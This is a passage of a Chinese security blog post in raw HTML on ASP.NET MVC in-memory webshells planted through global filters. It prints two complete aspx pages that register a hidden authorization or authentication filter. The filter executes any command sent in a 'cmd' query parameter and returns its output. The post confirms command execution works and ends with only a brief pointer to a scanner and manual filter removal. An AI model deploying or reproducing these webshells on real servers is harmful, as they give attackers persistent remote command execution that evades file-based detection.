Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">在AddInternal中对filter实例的类型进行了判断，从这里就可以看到asp.net framework对filter类型的支持</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">IActionFilter 操作筛选器IAuthorizationFilter 授权筛选器（定义授权过滤器所需的方法。）IExceptionFilter 异常筛选器IResultFilter 结果筛选器IAuthenticationFilter 身份验证筛选器（定义执行身份验证的过滤器。）这个是MVC5中新增的过滤器，目前介绍内存马的文章都比较老了，没有介绍这个过滤器</p></pre><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4905897114178168" data-s="300,640" data-type="png" data-w="797" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=bb6505c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaWvcukv81haeVVRnZfo9KEiaBN0srsmP9mNNYACwJCdDIFoiao2DW4zicA%2F640%3Fwx_fmt%3Dpng"/></p><figure style="margin-top: 10px;margin-bottom: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><img class="rich_pages wxw-img" data-ratio="0.9090909090909091" data-type="jpeg" data-w="627" style="vertical-align: middle;border-style: none;display: block;margin-top: 10px;margin-right: auto;margin-left: auto;width: auto;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=f51317ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaY7dn0Tf6Pj5wDjibLN6Q2PDtib7DrX6iaB3MB4VUgWQrt1udOXkxd4j6g%2F640%3Fwx_fmt%3Djpeg"/></figure><figure style="margin-top: 10px;margin-bottom: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 12px;"></figcaption></figure><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">基础：5种过滤器<a href="https://kknews.cc/code/roe44v.html" target="_blank">https://kknews.cc/code/roe44v.html</a></p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><strong>IAuthenticationFilter的执行顺序早于IAuthorizationFilter</strong></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">在MVC5中将认证和授权拆开IAuthenticationFilter负责认证，IAuthorizationFilter负责授权</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">在FilterProviderCollection.Compare中，根据order值判断filter处理顺序，order一致的情况下对比作用域Scope</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6935779816513762" data-s="300,640" data-type="png" data-w="545" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=dbd6ee09&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaiaE4JUribxia3NfBLcGVea6CxeXSqibC04ROjrtuibWerecNRX2ibwTE9ibmQ%2F640%3Fwx_fmt%3Dpng"/></p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">基础：asp.net的作用域<a href="https://www.cnblogs.com/xiaoxiaotank/p/15622083.html" target="_blank">https://www.cnblogs.com/xiaoxiaotank/p/15622083.html</a>过滤器的作用域范围，可分为三种，从小到大是：1.某个Controller中的某个Action上（不支持Razor Page中的处理方法）2.某个Controller或Razor Page上3.全局，应用到所有Controller、Action和Razor Page上</p></pre><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3683453237410072" data-s="300,640" data-type="png" data-w="695" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=3bbfc683&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiayhLqkXfYseIT1EApcZfYPY35ba9YAr3v3u3icr9nxeYHBk3DOF7ic0AA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">接下来看FilterProviders.cs，这是一个全局的系统默认FilterFilter provider，为filter提供一个注册点</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.43118148599269185" data-s="300,640" data-type="png" data-w="821" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=7da164a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaObiajvQFEENZ2l6OtTbb9H5kVvGFwCO734InSbaJqp0SsN1ATF0biauw%2F640%3Fwx_fmt%3Dpng"/></p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">基础：asp.net强制类型转换(IFilterProvider) 是一个类型转换，将括号中的对象强制转换为 IFilterProvider 接口的实现。</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">不同filter执行顺序围如下：</p><figure style="margin-top: 10px;margin-bottom: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><img class="rich_pages wxw-img" data-ratio="2.52027027027027" data-type="png" data-w="148" style="vertical-align: middle;border-style: none;display: block;margin-top: 10px;margin-right: auto;margin-left: auto;width: auto;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=fac2c7f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaZnUqzVtlBUdcpibCfCbbOFCu1LNIgHVsOtiaNFsIV1MADjyicfrP8eybA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 12px;">请求通过授权过滤器、资源过滤器、模型绑定、操作过滤器、操作执行和操作结果转换、异常过滤器、结果过滤器和结果执行进行处理。返回时，请求仅由结果过滤器和资源过滤器进行处理，变成发送到客户端的响应。</figcaption></figure><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">根据在ControllerActionInvoke在InvokeAction中的判断顺序可看到filter执行顺序</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.39036144578313253" data-s="300,640" data-type="png" data-w="830" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=3545e65b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaic9XOR9uexiaNUgBqoREGbOzeU6CDz6iaI6tWUtibXLI5kFx7Na3ROXnxQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">任意web可访问目录添加aspx文件</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">&lt;%@ Page Language=&#34;C#&#34; CodeBehind=&#34;test.aspx.cs&#34; Inherits=&#34;WebApplication3.Models.test&#34; %&gt;&lt;%@ Import namespace=&#34;System.Diagnostics&#34;%&gt;&lt;%@ Import namespace=&#34;System.Reflection&#34;%&gt;&lt;%@ Import namespace=&#34;System.Web.Mvc&#34;%&gt;&lt;!DOCTYPE html PUBLIC &#34;-//W3C//DTD XHTML 1.0 Transitional//EN&#34; &#34;<a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" target="_blank">http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd</a>&#34;&gt;&lt;script runat=&#34;server&#34;&gt;    public class MyAuthFilter : IAuthorizationFilter    {        public void OnAuthorization(AuthorizationContext filterContext)        {            string cmd = filterContext.HttpContext.Request.QueryString[&#34;cmd&#34;];            if (cmd != null)            {                HttpResponseBase response = filterContext.HttpContext.Response;                Process p = new Process();                p.StartInfo.FileName = cmd;                p.StartInfo.UseShellExecute = false;                p.StartInfo.RedirectStandardError = true;                p.StartInfo.RedirectStandardOutput = true;                p.Start();                byte[] data = Encoding.UTF8.GetBytes(p.StandardError.ReadToEnd() + p.StandardOutput.ReadToEnd());                response.Write(System.Text.Encoding.Default.GetString(data));            }            Console.WriteLine(&#34;auth filter inject&#34;);                    }    }&lt;/script&gt;&lt;%    GlobalFilterCollection globalFilterCollection = GlobalFilters.Filters;    globalFilterCollection.Add(new MyAuthFilter(),-2);%&gt;&lt;html xmlns=&#34;<a href="http://www.w3.org/1999/xhtml" target="_blank">http://www.w3.org/1999/xhtml</a>&#34;&gt;&lt;head runat=&#34;server&#34;&gt;    &lt;title&gt;Title&lt;/title&gt;&lt;/head&gt;&lt;body&gt;&lt;form id=&#34;HtmlForm&#34; runat=&#34;server&#34;&gt;    &lt;div&gt;            &lt;/div&gt;&lt;/form&gt;&lt;/body&gt;&lt;/html&gt;</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">配合检测工具可以看到内存马成功注入并可执行命令</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2490740740740741" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=deb38a70&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUia1HnGZE9gdpVMVaIPRFJVD9lClHV7K23GaedWLYzyxklsq8amIiaUeCQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6420021762785637" data-s="300,640" data-type="png" data-w="919" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=6196daf7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUia1mgINxmjMdo1WicPERlE9bnSJGmLibjK84pBNyfkib6nKsD1dXiaiaAbCVw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.1688888888888889" data-s="300,640" data-type="png" data-w="225" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=58e5a1a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaOOM4PvYiaKdltYVvA7icgqywxNB1MWFicI9pwFIxTVtgm79sO7gGEPKzA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">调试可看到注册filter</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4675925925925926" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=5a6c5e5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiat1K9RibfdaQFd6VAP286cIAfOcYBlWpmYlPlLEchWPF9zbG6hzqJAZA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">也可以看到就是从上面提到的ColltrollerActionInvoker对filter进行调用</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.32407407407407407" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=e9722eee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiamY3gH0qfTicfic0TMXDRPwITRskKyXicyhbU9ibZW1flvj9SExRCuJ3gCQ%2F640%3Fwx_fmt%3Dpng"/></p><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">MVC5 新filter接口</h4><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">因为上面说过IAuthenticationFilter的执行顺序早于IAuthorizationFilter，所以对内存马实现的接口进行更换</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">&lt;%@ Page Language=&#34;C#&#34; CodeBehind=&#34;test.aspx.cs&#34; Inherits=&#34;WebApplication3.Models.test&#34; %&gt;&lt;%@ Import namespace=&#34;System.Diagnostics&#34;%&gt;&lt;%@ Import namespace=&#34;System.Reflection&#34;%&gt;&lt;%@ Import namespace=&#34;System.Web.Mvc&#34;%&gt;&lt;%@ Import Namespace=&#34;System.Web.Mvc.Filters&#34; %&gt;&lt;!DOCTYPE html PUBLIC &#34;-//W3C//DTD XHTML 1.0 Transitional//EN&#34; &#34;<a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" target="_blank">http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd</a>&#34;&gt;&lt;script runat=&#34;server&#34;&gt;    public class MyAuthFilter : IAuthenticationFilter    {        public void OnAuthentication(AuthenticationContext filterContext)        {            string cmd = filterContext.HttpContext.Request.QueryString[&#34;cmd&#34;];            if (cmd != null)            {                HttpResponseBase response = filterContext.HttpContext.Response;                Process p = new Process();                p.StartInfo.FileName = cmd;                p.StartInfo.UseShellExecute = false;                p.StartInfo.RedirectStandardError = true;                p.StartInfo.RedirectStandardOutput = true;                p.Start();                byte[] data = Encoding.UTF8.GetBytes(p.StandardError.ReadToEnd() + p.StandardOutput.ReadToEnd());                response.Write(System.Text.Encoding.Default.GetString(data));            }            Console.WriteLine(&#34;auth filter inject&#34;);        }        public void OnAuthenticationChallenge(AuthenticationChallengeContext filterContext)        {        }    }&lt;/script&gt;&lt;%    GlobalFilterCollection globalFilterCollection = GlobalFilters.Filters;    globalFilterCollection.Add(new MyAuthFilter(),-2);%&gt;&lt;html xmlns=&#34;<a href="http://www.w3.org/1999/xhtml" target="_blank">http://www.w3.org/1999/xhtml</a>&#34;&gt;&lt;head runat=&#34;server&#34;&gt;    &lt;title&gt;Title&lt;/title&gt;&lt;/head&gt;&lt;body&gt;&lt;form id=&#34;HtmlForm&#34; runat=&#34;server&#34;&gt;    &lt;div&gt;            &lt;/div&gt;&lt;/form&gt;&lt;/body&gt;&lt;/html&gt;</p></pre><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">检测手段</h4><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><a href="https://github.com/yzddmr6/ASP.NET-Memshell-Scanner/blob/master/aspx-memshell-scanner.aspx" target="_blank">https://github.com/yzddmr6/ASP.NET-Memshell-Scanner/blob/master/aspx-memshell-scanner.aspx</a></p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">本来看到蚁剑作者的介绍中没有聊IAuthenticationFilter过滤器，想着写的工具是不是没有对应检测手段，结果是列出所有filter手动删。。。。。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.425" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=08796db7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaWplZevIlLFDLAJjwr2V3Z92JMCeZHlaq6iaq7mnpI0U5dmaWiatdic5icA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5101851851851852" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=31ff1940&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaNWBXIvuIV8RyjZ4BylcOgS0oKGzzO7PamYHlPsp74aEzfJibzDMsojA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2490740740740741" data-s="300,640" data-type="png" data-w="1080" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=deb38a70&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUia1HnGZE9gdpVMVaIPRFJVD9lClHV7K23GaedWLYzyxklsq8amIiaUeCQ%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="margin: 60px auto 10px;color: rgb(255, 255, 255);font-weight: bold;font-size: 17px;background-color: rgb(0, 0, 0);padding: 2px 10px;width: fit-content;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;">route</h3><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: square;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">原理：动态打进去一个路由，然后映射到我们自定义的类</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">条件：不需MVC，普通权限上传aspx可解析即可</p></li></ul><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">不使用Global.asax中的 RouteConfig.RegisterRoutes作为入口的原因是因为调用System.Web.Mvc.RouteCollectionExtensions.MapRoute方法，而这个方法也是要依赖System.Web.Mvc.dll的</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2694610778443114" data-s="300,640" data-type="png" data-w="835" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=6549aec1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiae0Um6BowEdGl20GQRjjictvdcuCX9T6ASumMmnFqiahEfndxNWic5ZfLQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">System.Web.Mvc.RouteCollectionExtensions.MapRoute调用Route.add方法添加RouteBase类型的Route</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4073226544622426" data-s="300,640" data-type="png" data-w="874" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=73e59269&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaicdE6iaN8yicoUxrmE7OTicy0uKXQtkMz3j4icR4WK4pWnsjtUNoBoYzUuA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">RouteBase是个抽象类，默认的实现为System.Web.Routing.Route</p><h4 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 18px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">派生RouteBase</h4><h5 style="margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-family: Optima-Regular, Optima, 